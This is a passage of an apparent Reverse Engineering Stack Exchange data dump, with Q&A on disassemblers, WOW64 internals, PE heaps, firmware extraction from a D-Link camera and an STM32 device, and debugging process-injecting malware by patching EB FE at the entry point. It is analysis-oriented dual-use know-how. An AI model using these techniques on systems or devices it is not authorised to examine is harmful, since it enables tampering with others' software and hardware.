        "Answer": "<p>I just extracted the following list during my research of this paper:</p>\n\n<blockquote>\n  <p><strong>\"Reassembleable Disassembling\"</strong> Shuai Wang, Pei Wang, and Dinghao Wu,\n  The Pennsylvania State University</p>\n</blockquote>\n\n<p>The following list consits of all mentioned tools (dynamic and static), perhaps there is something useful:</p>\n\n<hr>\n\n<p><strong>UROBOROS</strong> <em>(Static, x86/x64 ELF)</em></p>\n\n<p>So the paper itself introduces UROBOROS. I think it's one of the best options for you:</p>\n\n<p><a href=\"https://github.com/s3team/uroboros\" rel=\"nofollow noreferrer\">https://github.com/s3team/uroboros</a></p>\n\n<blockquote>\n  <p><strong>\"Reassembleable Disassembling\"</strong> Shuai Wang, Pei Wang, and Dinghao Wu,\n  The Pennsylvania State University</p>\n  \n  <p>In this paper, we present UROBOROS, a tool that can disassemble\n  executables to the extent that the gener- ated code can be assembled\n  back to working binaries without manual effort. [...] </p>\n  \n  <p>We have implemented a prototype of UROBOROS in OCaml and Python, with\n  a total of 13,209 lines of code. Our prototype works for both x86 and\n  x64 ELF binaries. [...] </p>\n  \n  <p>We have presented UROBOROS, a tool that can disassem- ble stripped\n  binaries and produce reassembleable assem- bly code in a fully\n  automated manner. We call this tech- nique reassembleable\n  disassembling and have developed a prototype called UROBOROS. Our\n  experiments show that reassembled programs incur negligible execution\n  overhead, and thus UROBOROS can be potentially used as a foundation\n  for binary-based software retrofitting.</p>\n</blockquote>\n\n<hr>\n\n<p><strong>Dyninst [10, 20]</strong> <em>(Static+Dynamic)</em></p>\n\n<blockquote>\n  <p>BUCK, B., AND HOLLINGSWORTH, J. K. An API for runtime code patching.\n  Int. J. High Perform. Comput. Appl. 14, 4 (2000), 317\u2013329.</p>\n</blockquote>\n\n<hr>\n\n<p><strong>Vulcan [16]</strong> <em>(Static, binaries compiled by special compilers, not stripped)</em></p>\n\n<blockquote>\n  <p>EDWARDS, A., VO, H., SRIVASTAVA, A., AND SRIVASTAVA, A. Vulcan binary\n  transformation in a distributed environment. Tech. Rep.\n  MSR-TR-2001-50, Microsoft Research, 2001.</p>\n</blockquote>\n\n<hr>\n\n<p><strong>Alto [35]</strong> <em>(Static, binaries compiled by special compilers, not stripped)</em></p>\n\n<blockquote>\n  <p>MUTH, R., DEBRAY, S. K., WATTERSON, S., AND DE BOSS- CHERE, K. Alto: A\n  link-time optimizer for the Compaq Alpha. Softw. Pract. Exper. 31, 1\n  (2001), 67\u2013101.</p>\n</blockquote>\n\n<hr>\n\n<p><strong>Diablo [13]</strong> <em>(Static, binaries compiled by special compilers, not stripped)</em></p>\n\n<blockquote>\n  <p>DE SUTTER, B., DE BUS, B., AND DE BOSSCHERE, K. Link- time binary\n  rewriting techniques for program compaction. ACM Trans. Program. Lang.\n  Syst. 27, 5 (2005), 882\u2013945.</p>\n</blockquote>\n\n<hr>\n\n<p><strong>SecondWrite [3]</strong> <em>(Static)</em></p>\n\n<blockquote>\n  <p>ANAND, K., SMITHSON, M., ELWAZEER, K., KOTHA, A., GRUEN, J., GILES,\n  N., AND BARUA, R. A compiler-level inter- mediate representation based\n  binary analysis and rewriting sys- tem. In Proceedings of the 8th ACM\n  European Conference on Computer Systems (2013), ACM, pp. 295\u2013308.</p>\n</blockquote>\n\n<hr>\n\n<p><strong>Pin [31]</strong> <em>(Dynamic)</em></p>\n\n<blockquote>\n  <p>LUK, C.-K., COHN, R., MUTH, R., PATIL, H., KLAUSER, A., LOWNEY, G.,\n  WALLACE, S., REDDI, V. J., AND HAZELWOOD, K. Pin: Building customized\n  program analysis tools with dy- namic instrumentation. In Proceedings\n  of the 2005 ACM SIG- PLAN Conference on Programming Language Design\n  and Im- plementation (2005), ACM, pp. 190\u2013200.</p>\n</blockquote>\n\n<hr>\n\n<p><strong>DynamoRIO [7]</strong> <em>(Dynamic)</em></p>\n\n<blockquote>\n  <p>BRUENING, D. L. Efficient, transparent, and comprehensive runtime code\n  manipulation. PhD thesis, Massachusetts Institute of Technology, 2004.</p>\n</blockquote>\n\n<hr>\n\n<p><strong>miasm2</strong></p>\n\n<blockquote>\n  <p>Miasm is a free and open source (GPLv2) reverse engineering framework.\n  Miasm aims to analyze / modify / generate binary programs.\n  <a href=\"https://github.com/cea-sec/miasm\" rel=\"nofollow noreferrer\">https://github.com/cea-sec/miasm</a></p>\n</blockquote>\n\n<hr>\n\n<p><strong>VxStripper</strong> <em>(dynamic)</em></p>\n\n<blockquote>\n  <p>Josse, S\u00e9bastien. \"Malware Dynamic Recompilation.\" System Sciences\n  (HICSS), 2014 47th Hawaii International Conference on. IEEE, 2014.</p>\n</blockquote>\n"
    },
    {
        "Id": "14848",
        "CreationDate": "2017-03-08T01:55:24.823",
        "Body": "<p>I've noticed there is a memory region in user mode on Windows 7 x64 WOW64 that changes during syscalls. It is located quite low in the address space and has the characteristics of a stack, i.e. it starts with a big reserved region, a page guard, and a few pages of R/W. There is only one thread running, and it has its own stack, so I don't think it's connected.</p>\n\n<p>If I call, say, NtQueryVirtualMemory, a rather constant syscall in that it should only fill a struct and not modify anything else of the address space, even then the memory region gets updated with some changes scattered here and there. Has anyone got any information about what this is? Is it some sort of scratch space for the kernel in user mode?</p>\n\n<p>I also noticed that when there are two threads, there will be another such hidden region, so it probably is per thread.</p>\n\n<p>Any documentation at all of Windows's standard memory layout would be great.</p>\n",
        "Title": "What is this hidden stack used by syscalls on Windows?",
        "Tags": "|windows|memory|memory-dump|system-call|virtual-memory|",
        "Answer": "<p>This doesn't happen during the system call. It happens in user-mode.</p>\n\n<p>WOW64 processes have two user-mode stacks - a 32-bit stack, which is the one you normally use, and a 64-bit stack. The WOW64 ntdll does not make system calls. Where the native 32-bit ntdll would <code>sysenter</code> (via an indirect call to <code>SharedUserData!SystemCallStub</code>) the WOW64 ntdll has an indirect call to <code>wow64cpu!X86SwitchTo64BitMode</code> (<code>call dword ptr fs:[0C0h]</code>).</p>\n\n<p>This function makes a far jump with a special selector that causes the switch from 32-bit mode to 64-bit mode. Then the WOW64 layer makes copies of the arguments, widening whatever is necessary, etc. and proceeds to make the real system call.</p>\n\n<p>I'm willing to bet you used a 32-bit debugger to debug your WOW64 process, and a 32-bit debugger doesn't show the mode transition. It can't. But that still happened in user-mode.</p>\n\n<p>Any most basic source on WOW64 would tell you that, and you should be able to guess that on your own. It's <em>far</em> more reasonable for a user-mode component to take care of the mode transitions and keep the kernel 64-bit only rather than have the kernel handle system calls from both 32-bit and 64-bit modes.</p>\n\n<p>The MSDN page <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa384274(v=vs.85).aspx\" rel=\"noreferrer\">WOW64 Implementation Details</a> practically says both these things:</p>\n\n<blockquote>\n  <p>Instead of using the x86 system-service call sequence, 32-bit binaries that make system calls are rebuilt to use a custom calling sequence. This calling sequence is inexpensive for WOW64 to intercept because it remains entirely in user mode. When the custom calling sequence is detected, the WOW64 CPU transitions back to native 64-bit mode and calls into Wow64.dll. Thunking is done in user mode to reduce the impact on the 64-bit kernel and to reduce the risk of a bug in the thunk that might cause a kernel-mode crash, data corruption, or a security hole. <em>The thunks extract arguments from the 32-bit stack, extend them to 64 bits, then make the native system call.</em></p>\n</blockquote>\n\n<p>Emphasis on the last sentence is mine. It doesn't explicitly say that the extraction and expansion of arguments is done on a separate stack, but it's not a wild guess to make.</p>\n"
    },
    {
        "Id": "14849",
        "CreationDate": "2017-03-08T07:48:01.370",
        "Body": "<p>I'm having a tough time finding any information at all concerning <em>physical memory addresses</em> and if/how I can get them from a program at runtime (Windows NT/10). When I run a program in OllyDbg and I'm at a breakpoint, for example, are the memory addresses in the dump, disassembler window, and memory map <em>physical</em> addresses or are these actually still virtual addresses? Do user-mode programs even have any concept of the physical memory or is this only between the kernel and the MMU? Thanks.</p>\n",
        "Title": "Viewing Physical Memory Addresses in OllyDbg or any program?",
        "Tags": "|ollydbg|memory|",
        "Answer": "<p>Please note this mapping is by no means trivial, but there are several resources available:</p>\n\n<p><a href=\"http://resources.infosecinstitute.com/translating-virtual-to-physical-address-on-windows-physical-addresses/\" rel=\"nofollow noreferrer\">INFOSEC INSTITUTE - Translating Virtual to Physical Address on Windows: Physical Addresses</a></p>\n\n<p><a href=\"http://resources.infosecinstitute.com/translating-virtual-to-physical-address-on-windows-segmentation/\" rel=\"nofollow noreferrer\">Translating Virtual to Physical Address on Windows: Segmentation</a> (more theoretical view)</p>\n\n<p><a href=\"https://msdn.microsoft.com/en-us/library/windows/hardware/ff539310(v=vs.85).aspx\" rel=\"nofollow noreferrer\">Using WinDBG</a></p>\n\n<p><a href=\"https://stackoverflow.com/questions/366602/how-to-translate-a-virtual-memory-address-to-a-physical-address\">Stack Overflow: How to translate a virtual memory address to a physical address?</a></p>\n\n<p>I'm sure you're able to come up with many more sources. Basically, you must use the directory table to map virtual address pages to physical ones. You can find it using the C3 register or traversing the EPROCESS structure.</p>\n\n<p>Please note that there is no concept for physical addresses at user space, because the ability to write and read from these addresses would give the application the possibility to <em>own</em> the system.</p>\n"
    },
    {
        "Id": "14852",
        "CreationDate": "2017-03-08T09:48:16.323",
        "Body": "<p>I've been researching the Portable Executable format and one great work I've been reading is \"ARTeam PE file format Tutorial\" which is a collection of research from Michael J'OLeary, Randy Kath, Matt Pietrek, and many more.</p>\n\n<p>However, one thing that I've noticed is absent is how and where the heap gets allocated for a program. Is it in one of the 9 standard sections such as <code>.bss</code> or <code>.data</code> or is it attached to the end of all sections at run-time by the loader?</p>\n\n<p>I assume, since it's the heap which is dynamic memory, that it is not specified anywhere in the actual PE, but if I want to scan the heap for data, how would I get the memory address space?</p>\n\n<p>Specifically, I would like answers to the following questions:</p>\n\n<ol>\n<li>how and where the heap gets allocated for a program?</li>\n<li>If I want to scan the heap for data, how would I get the memory address space?</li>\n</ol>\n",
        "Title": "PE file format: How can I find the heap memory space in a running WinNT program?",
        "Tags": "|windows|memory|pe|heap|",
        "Answer": "<p><strong>Short answer:</strong> The heap, stack and other <em>PE loader</em> related tasks are not part of the PE standard or definition.</p>\n\n<p><strong>General Information</strong></p>\n\n<p>the PE file does not describe the entire memory space of an executable. It only contains the data required to execute a program, and the OS keeps the right to add additional regions without the user's awareness. Things such as the heap, the stack and other internal memory regions required for a process to function and operate are not the responsibility of a PE file (or any executable file for that matter).</p>\n\n<p>A PE doesn't define a heap, it requests a heap to be allocated for it from the OS (<a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa374721(v=vs.85).aspx\" rel=\"nofollow noreferrer\"><code>AllocateHeap</code></a> is a Windows API that does that). There's no need to actually eat up space for a heap \"placeholder\" in the PE file. The same goes for the stack, the PEB, and other memory objects a process has.</p>\n\n<p>Additionally, a user(i.e. programmer) does not usually need to even call <code>AllocateHeap</code> for it's process to have a heap. OSes usually allocate a default heap for the process when loading it (either by the loader itself or by startup code the OS runs before control is given to the PE's Entry Point). Other times the compiler prefixes the code with code that allocates a heap.</p>\n\n<p>Similarly, the stack is allocated as part of the process creation, and is not part of the PE or defined by it. This is mandatory, for a process cannot exist without a stack (although the PE can set the <em>size</em> of the allocated stack).</p>\n\n<p>If you're interested in learning about the NT Loader (and the PE file format), I suggest you take a look at the following articles and resources:</p>\n\n<ul>\n<li><a href=\"https://www.microsoftpressstore.com/articles/article.aspx?p=2233328\" rel=\"nofollow noreferrer\">Processes, Threads, and Jobs in the Windows Operating System By Mark E. Russinovich and David A. Solomon</a></li>\n<li><a href=\"https://www.microsoft.com/msj/0999/hood/hood0999.aspx\" rel=\"nofollow noreferrer\">Under the Hood by Matt Pietrek</a></li>\n<li><a href=\"https://msdn.microsoft.com/en-us/magazine/bb985992.aspx\" rel=\"nofollow noreferrer\">Peering Inside the PE: A Tour of the Win32 Portable Executable File Format</a></li>\n<li>The \"An In-Depth Look into the Win32 Portable Executable File Format\" series: <a href=\"https://msdn.microsoft.com/en-us/magazine/bb985992.aspx\" rel=\"nofollow noreferrer\">Part 1</a>, <a href=\"https://msdn.microsoft.com/en-us/magazine/bb985994.aspx\" rel=\"nofollow noreferrer\">Part 2</a></li>\n</ul>\n\n<p>You might have already read some of the, but I included most of them for future reference.</p>\n\n<p>A lot of information about the heap and other types of memory are part of the (relatively big) topic of Memory Management in windows and you may want to also dive into that, here are are few articles about the heap and memory management:</p>\n\n<ul>\n<li><a href=\"http://Heap:%20Pleasures%20and%20Pains\" rel=\"nofollow noreferrer\">https://msdn.microsoft.com/en-us/library/ms810466.aspx</a></li>\n<li><a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa366711(v=vs.85).aspx\" rel=\"nofollow noreferrer\">Heap memory functions, msdn</a></li>\n<li><a href=\"https://msdn.microsoft.com/en-us/library/ms810603.aspx\" rel=\"nofollow noreferrer\">Managing Heap Memory</a></li>\n</ul>\n\n<p><strong>Technical questions</strong></p>\n\n<blockquote>\n  <ol>\n  <li>how and where the heap gets allocated for a program?</li>\n  </ol>\n</blockquote>\n\n<p>Heaps are memory pages <em>reserved</em> and <em>committed</em> upon creation (of the heap). The OS assigns designated pages and those are on the actual RAM and/or <a href=\"https://en.wikipedia.org/wiki/Paging\" rel=\"nofollow noreferrer\">Page File</a>.</p>\n\n<p>As I mentioned before, a process can have multiple heaps (but always has at least one, default, heap). Additional heaps are allocated and freed by the process at run-time, and a process can have a different amount of heaps depending to run-time logic.</p>\n\n<p>See above for a short description of how the default heap (or, more precisely the first heap, as a process may change it's default heap to a heap later allocated) is created.</p>\n\n<blockquote>\n  <ol start=\"2\">\n  <li>If I want to scan the heap for data, how would I get the memory address space?</li>\n  </ol>\n</blockquote>\n\n<p>This slightly depends on the purpose and specific reasons and type of data you want to scan for. If you want to scan for data anywhere in the process's memory, you should use <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa366902(v=vs.85).aspx\" rel=\"nofollow noreferrer\"><code>VirtualQuery</code></a> or <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa366907(v=vs.85).aspx\" rel=\"nofollow noreferrer\"><code>VirtualQueryEx</code></a> for all <em>committed</em> memory pages. This won't only let you scan all available heaps, but will also let you scan the stack, the PE sections, and other memory used by the program (for example, pages allocated directly with <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa366887(v=vs.85).aspx\" rel=\"nofollow noreferrer\"><code>VirtualAlloc</code></a>).</p>\n\n<p>If you want to get the address range of a specific (or several heaps), you'll need to use some <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa366711(v=vs.85).aspx\" rel=\"nofollow noreferrer\">Heap memory functions, msdn</a> such as <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa366569(v=vs.85).aspx\" rel=\"nofollow noreferrer\"><code>GetProcessHeap</code></a> <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa366571(v=vs.85).aspx\" rel=\"nofollow noreferrer\"><code>GetProcessHeaps</code></a></p>\n"
    },
    {
        "Id": "14855",
        "CreationDate": "2017-03-08T17:18:09.997",
        "Body": "<p>In windbg, we can use \"!heap -p -a [address]\" to show the stacktrace when the heap was allocated.</p>\n\n<p>In gdb, especially for kernel debugging, there is any way to achieve the same thing in linux?</p>\n",
        "Title": "Given a heap address, can gdb show which function allocated the heap at this address?",
        "Tags": "|gdb|",
        "Answer": "<p>AFAIK Windbg relies on the user-mode stack trace database provided by the kernel/ntdll. I think there is nothing similar built-in into Linux, but you can try some third-party tools, e.g. <a href=\"http://milianw.de/blog/heaptrack-a-heap-memory-profiler-for-Linux\" rel=\"nofollow noreferrer\">heaptrack</a></p>\n"
    },
    {
        "Id": "14861",
        "CreationDate": "2017-03-09T16:30:40.497",
        "Body": "<p>I tried extract the firmware image from the binary file available at the <a href=\"http://support.dlink.com/ProductInfo.aspx?m=DCS-4603\" rel=\"nofollow noreferrer\">D-Link DCS-4603 Vigilance Full HD PoE Dome Network Camera technical support page</a>  it by using <code>binwalk</code> but failed. Is there another way to extract the firmware? Or is there another tool that I can use? Or you can guide my extraction efforts?</p>\n",
        "Title": "How to extract D-Link DCS-4603 camera firmware",
        "Tags": "|binary-analysis|firmware|decompress|",
        "Answer": "<p><strong>Recommendation: since the firmware is obfuscated, recover the bootloader</strong></p>\n\n<p>The firmware may be encoded, compressed, encrypted, or some combination of these. In order for the firmware image to be loaded into memory and execute, it must be deobfuscated. Since the bootloader is responsible for this, it is likely that deobfuscation of the binary file containing the firmware image is performed by a routine or set of routines within the bootloader. Locating the code handling deobfuscation will enable you to deobfuscate the binary file containing the firmware image yourself.</p>\n\n<p>Recovering the bootloader requires access to the hardware. Several resources exist that will guide you in your efforts to dump the bootloader from the hardware as well as locate the deobfuscation code:</p>\n\n<p><a href=\"http://www.devttys0.com/2012/11/reverse-engineering-serial-ports/\" rel=\"nofollow noreferrer\">Reverse Engineering Serial Ports</a></p>\n\n<p><a href=\"http://www.devttys0.com/2014/02/reversing-the-wrt120n-firmware-obfuscation/\" rel=\"nofollow noreferrer\">Reversing the WRT120N\u2019s Firmware Obfuscation</a></p>\n\n<p><a href=\"https://blog.vectranetworks.com/blog/turning-a-webcam-into-a-backdoor\" rel=\"nofollow noreferrer\">Turning a Webcam Into a Backdoor</a></p>\n\n<p><a href=\"https://blog.vectranetworks.com/blog/belkin-analysis\" rel=\"nofollow noreferrer\">Belkin F9K1111 V1.04.10 Firmware Analysis</a></p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/3526/how-do-i-extract-a-copy-of-an-unknown-firmware-from-a-hardware-device?rq=1\">How do I extract a copy of an unknown firmware from a hardware device?</a></p>\n\n<h2>Analysis</h2>\n\n<p>There are 2 firmware versions available for download at the page in the link provided: </p>\n\n<ul>\n<li>version 1.00.00</li>\n<li>version 1.01</li>\n</ul>\n\n<p>Both were analyzed. </p>\n\n<p>The binary files are named <code>DCS-4603_A1_FW_V1.00.00.bin</code> (version 1.00) and <code>DCS-4603_A1_FW_V1.01.00.bin</code> (version 1.01) when the packages containing them are unzipped. </p>\n\n<p>Both files are approximately 15MB each, with version 1.01 being slightly larger than version 1.00:</p>\n\n<pre><code>15521100 DCS-4603_A1_FW_V1.00.00.bin\n15848708 DCS-4603_A1_FW_V1.01.00.bin\n</code></pre>\n\n<p><strong>1. <code>strings</code> and <code>hexdump</code></strong></p>\n\n<p>Preliminary analysis using <code>strings -n</code> and <code>hexdump -C</code> did not reveal beyond the absence of ASCII strings in either ~15MB file as well as no discernible file header.</p>\n\n<p><strong>2. Entropy Analysis</strong></p>\n\n<p>Entropy was consistently high throughout both files:</p>\n\n<p><code>DCS-4603_A1_FW_V1.00.00.bin</code>:\n<a href=\"https://i.stack.imgur.com/RxGaf.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/RxGaf.png\" alt=\"version 1.00 entropy binwalk\"></a></p>\n\n<p><code>DCS-4603_A1_FW_V1.01.00.bin</code>:\n<a href=\"https://i.stack.imgur.com/irjP4.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/irjP4.png\" alt=\"version 1.01 entropy binwalk\"></a></p>\n\n<p>A smooth entropy line and consistent entropy level throughout tends to indicate encryption. Reference: <a href=\"http://www.devttys0.com/2013/06/differentiate-encryption-from-compression-using-math/\" rel=\"nofollow noreferrer\">Differentiate Encryption From Compression Using Math</a>. </p>\n\n<p>As can be seen in the plots above, there was a perturbation in the entropy level in both files at offset ~0x002EB870. This was investigated further in when both files were diffed.</p>\n\n<p>These plots also show that there are no areas of very low entropy in between areas of higher entropy. Such low entropy areas can indicate padding between different types of data in the binary file.</p>\n\n<p><strong>3. Diffing the Binary Files</strong></p>\n\n<p>There are at least 2 interesting regions of commonality between the 2 binary files: the region between offset 0x00000000 and 0x000068F0 and the site of the perturbation revealed in the entropy plots above, the region between offsets 0x002EB870 and 0x002ED320.</p>\n\n<p>Diff of region between offsets 0x00000000 and 0x000068F0 (length of 26864 bytes):\n<a href=\"https://i.stack.imgur.com/mzmfD.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mzmfD.png\" alt=\"begin common region 1\"></a>\n<a href=\"https://i.stack.imgur.com/lgM10.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/lgM10.png\" alt=\"end common region 1\"></a></p>\n\n<p>The first four bytes, <code>73 00 2E 30</code>, may be a signature of some kind.</p>\n\n<p>Diff of region between offsets 0x002EB870 and 0x002ED320 (length of 6832 bytes):\n<a href=\"https://i.stack.imgur.com/fc874.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/fc874.png\" alt=\"begin common region 2 - site of entropy perturbation\"></a>\n<a href=\"https://i.stack.imgur.com/pUa4Z.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/pUa4Z.png\" alt=\"end common region 2\"></a></p>\n\n<p>To my (very) inexperienced eye, these relatively large regions of commonality suggest compression or encoding rather than encryption of similar underlying data. </p>\n\n<p>Final observation: D-Link's documentation for the camera explicitly discusses encoding capability (emphasis mine):</p>\n\n<blockquote>\n  <p>To maximize bandwidth efficiency and improve image quality, the DCS-4603 provides real-time video compression using the <strong>H.264 and MJPEG codecs</strong>, and supports separate profiles for simultaneous video streaming and recording. </p>\n</blockquote>\n\n<p>However, this my not play any role in how the binary file containing the firmware image is obfuscated.</p>\n\n<h2>Conclusion</h2>\n\n<p>The fastest way to decode the binary file in order to extract the firmware image seems to be dumping the bootloader and analyzing it to pinpoint the obfuscation routine(s). </p>\n\n<blockquote>\n  <p>is there another tool that I can use?</p>\n</blockquote>\n\n<p><a href=\"https://github.com/rampageX/firmware-mod-kit/wiki\" rel=\"nofollow noreferrer\">firmware mod kit</a></p>\n\n<p><a href=\"http://aluigi.altervista.org/mytoolz/signsrch.zip\" rel=\"nofollow noreferrer\">Signsrch</a> (Windows exe)</p>\n\n<p><a href=\"http://seclists.org/fulldisclosure/2007/Jun/244\" rel=\"nofollow noreferrer\">deezee</a></p>\n"
    },
    {
        "Id": "14865",
        "CreationDate": "2017-03-09T21:03:38.450",
        "Body": "<p>I'm currently working on taking apart a game (Soul Reaver: Legacy of Kain) and I often come across odd looking sections such as this in the decompiler\n</p>\n\n<pre><code>  *(_DWORD *)(a2 + 16) = a2 + 624;\n  *(_DWORD *)(a2 + 38200) = a2 + 8;\n  *(_DWORD *)(a2 + 20) = 0;\n  *(_DWORD *)(a2 + 37592) = 0;\n  *(_DWORD *)(a2 + 37596) = a2 + 36968;\n  *(_DWORD *)(a1 + 8) = a2;\n  *(_DWORD *)a1 = 0;\n  *(_DWORD *)(a1 + 4) = 0;\n</code></pre>\n\n<p>These appear to me to be offsets in a struct, but some of the offsets make little sense, e.g. <code>36968</code>. I'm aware that it is quite difficult to be sure, but some pointers in the correct direction would be much appreciated :)</p>\n\n<p>Assembly for those who want it :)</p>\n\n\n\n<pre><code>.text:004B0126                   xor     esi, esi\n.text:004B0128                   mov     [ecx+10h], eax\n.text:004B012B                   lea     eax, [ecx+8]\n.text:004B012E                   mov     [ecx+9538h], eax\n.text:004B0134                   mov     eax, [esp+4+arg_0]\n.text:004B0138                   lea     edx, [ecx+9068h]\n.text:004B013E                   mov     [ecx+14h], esi\n.text:004B0141                   mov     [ecx+92D8h], esi\n.text:004B0147                   mov     [ecx+92DCh], edx\n.text:004B014D                   mov     [eax+8], ecx\n.text:004B0150                   mov     [eax], esi\n.text:004B0152                   mov     [eax+4], esi\n</code></pre>\n",
        "Title": "Identifying possible structs in C/C++ disassembly",
        "Tags": "|decompilation|c++|c|struct|",
        "Answer": "<p>I have also found very strange and huge offsets in my disassembled C++ code. I first thought that IDA pro is disassembling wrong. But also the pure assembler code has these huge offsets and also Ghidra creates the same pseudo code:</p>\n<pre><code>undefined * FUN_00410370(undefined *param_1)\n{\n  FUN_00402b70();\n  *param_1 = 1;\n  _memset(param_1 + 0x500440, 0, 0xf001b0);\n  param_1[0x0500458] = 0x68;\n  param_1[0x0a004e8] = 0x68;\n  param_1[0x0f00578] = 0x68;\n  param_1[0x1400608] = 0x68;\n  return param_1;\n}\n</code></pre>\n<p>I finally found out that they create a buffer of 31 MB with <code>malloc()</code> in some subfunction and they subdivide this huge buffer into sections of 5 MB which are used separately.</p>\n<p>The function above sets 15 MB of the buffer (0xf001b0 bytes) to zero.\nThen it writes 0x68 to offsets at 5 MB (0x500458), 10 MB (0xa004e8), 15 MB (0xf00578) and 20 MB (0x1400608).</p>\n"
    },
    {
        "Id": "14869",
        "CreationDate": "2017-03-10T06:09:00.533",
        "Body": "<p>I have a Finger pulse oximeter and inside I found a STM32F030C8T6 MCU.\nI'm looking to replace the firmware with one of my own.</p>\n\n<p>Is it possible to dump the current firmware and restore it, perhaps even to another dev board running the exact same cpu?</p>\n\n<p>Exposed pins: TX, RX, GND, VBAT, 3.3V</p>\n\n<p>I have a ST-Link V2 clone and am familiar with uploading new firmware, just not downloading existing.</p>\n\n<p>To upload new firmware, I run:</p>\n\n<pre><code>st-util\narm-none-eabi-gdb new_firmware.elf\n(gdb) target extended localhost:4242\n(gdb) load\n</code></pre>\n\n<p>Not sure what the process is to download existing though. Little help?</p>\n\n<p>Photos of the board:</p>\n\n<p><a href=\"https://i.stack.imgur.com/74ouV.jpg\" rel=\"nofollow noreferrer\">https://i.stack.imgur.com/74ouV.jpg</a></p>\n\n<p><a href=\"https://i.stack.imgur.com/ycmbU.jpg\" rel=\"nofollow noreferrer\">https://i.stack.imgur.com/ycmbU.jpg</a></p>\n",
        "Title": "Extract firmware from STM32F030 using ST-Link clone",
        "Tags": "|firmware|",
        "Answer": "<p>Get the datasheet for the chip and try tracing the JTAG/SWD pins. Possibly some of them are routed to the unlabeled 7-pin pad at the top. To dump the firmware you can probably just use the <a href=\"https://sourceware.org/gdb/onlinedocs/gdb/Dump_002fRestore-Files.html\" rel=\"nofollow noreferrer\"><code>dump</code> command</a> (see the datasheet for memory ranges)</p>\n"
    },
    {
        "Id": "14875",
        "CreationDate": "2017-03-10T15:37:39.390",
        "Body": "<p>I am working on a <a href=\"http://www.mediafire.com/file/546xcc9bv4qcamg/bender_safe\" rel=\"nofollow noreferrer\">MIPS binary</a>: <code>ELF 32-bit MSB executable, MIPS, MIPS-II version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=76438e9ed749bcfc6e191e548da153d0d3b3ee28, not stripped\n</code>. IDA Pro 6.95 (32 bit) disassembles the file pretty well, yet the decompiler gives up: <code>Sorry, the current file is not decompilable</code>. Doesn't IDA Pro have decompilation support for MIPS?</p>\n",
        "Title": "Doesn't IDA Pro 6.95 support decompiling MIPS executable?",
        "Tags": "|ida|decompilation|hexrays|mips|",
        "Answer": "<p>No, IDA version 6.95 doesn't support it. See <a href=\"https://www.hex-rays.com/products/decompiler/\" rel=\"nofollow noreferrer\">hex-rays.com/products/decompiler</a> for more details.\nRegarding other news and features see <a href=\"https://www.hex-rays.com/products/decompiler/news.shtml\" rel=\"nofollow noreferrer\">decompiler news page</a>.</p>\n<p>Update (12/3/2020):\nThe original answer was written ~2017, and since then IDA added MIPS decompiler support. AFAIK it was added in version 7.5.2.\nSee <a href=\"https://www.hex-rays.com/products/decompiler/compare/mips/\" rel=\"nofollow noreferrer\">here</a> for comparison between decompilation and disassembly for various MIPS variants.</p>\n"
    },
    {
        "Id": "14886",
        "CreationDate": "2017-03-12T11:29:57.487",
        "Body": "<p><em>I am kind of new in the field of reverse engineering, so sorry if it is a silly question.</em></p>\n\n<p>I have to analyse some malwares for my bachelor thesis and I am currently trying \nto reverse engineer a malware called \"Dexter\" which is a point-of-sale malware.</p>\n\n<p>Now to my question:<br>\nAfter some static analysis I tied to debug Dexter with OllyDbg, but the malware is injecting itself into the <code>iexplore.exe</code> process, and the original process of the malware is terminating itself. How can I debug the injected code in the iexplore.exe process? I know that you can attach OllyDbg to a running process but I can't really find the injected malware code in the memory map. </p>\n",
        "Title": "How to debug malware that injects itself into another process?",
        "Tags": "|ollydbg|debugging|malware|injection|",
        "Answer": "<p>Most of the time when a malware has injected itself into another process,it will call   \"SetThreadContext\" to set the CONTEXT structure.You can easily get the \"oep\" of     the target process through the \"eax\" member in the CONTEXT structure.The \"oep\" stands for the original address when target process resumes,you can make a loop at the \"oep\" so that the target process will always run in the loop.But how to make a loop in the\"oep\"?</p>\n\n<p>A malware often call \"WriteProcessMemory\" to write codes into target process.The second parameter of \"WriteProcessMemory\" is \"lpBaseAddress\",it means where this codes begin in the target process.And the third parameter is \"lpBuffer\",it stands for the buffer contains this codes.</p>\n\n<p>You can easily calculate the offset between \"oep\" and \"lpBaseAddress\",then, if the offset>0 as well as the offset&lt; parameter \"nSize\",add the offset to \"lpBuffer\",you will get the address contains \"oep\" codes in the buffer.</p>\n\n<p>For example, the \"oep\" of target process is 0x401000, the parameter \"lpBaseAddress\" is 0x400000,the parameter \"lpBuffer\" is 0x120000,so the address contains \"oep\" codes in the buffer is 0x401000-0x400000+0x120000=0x121000.</p>\n\n<p>Then,you can change the instructions in the address contains \"oep\" to \"jmp itself\"(that is patching the first 2 bytes to EB FE).In the above example it's \"jmp 0x121000\".After calling \"WriteProcessMemory\" and \"SetThreadContext\",you will see codes run in a loop at the \"oep\" of target process because the instructions are changed to \"jmp oep\",in the above example it's \"jmp 0x401000\".the target process \"stops\".</p>\n\n<p>Now you can attach it with OllyDbg and begin your work!</p>\n\n<p>In some cases malware injects itself into target process using other ways such as Shared Sections, Atombombing.Now you may not find \"WriteProcessMemory\" in these cases,but you will find  malware uses other ways to inject codes.So you can change the entry of codes injected into target process by patching the first 2 bytes to EB FE,the target process will run in a loop the same as what it does in first case.</p>\n"
    },
    {
        "Id": "14906",
        "CreationDate": "2017-03-15T05:14:16.483",
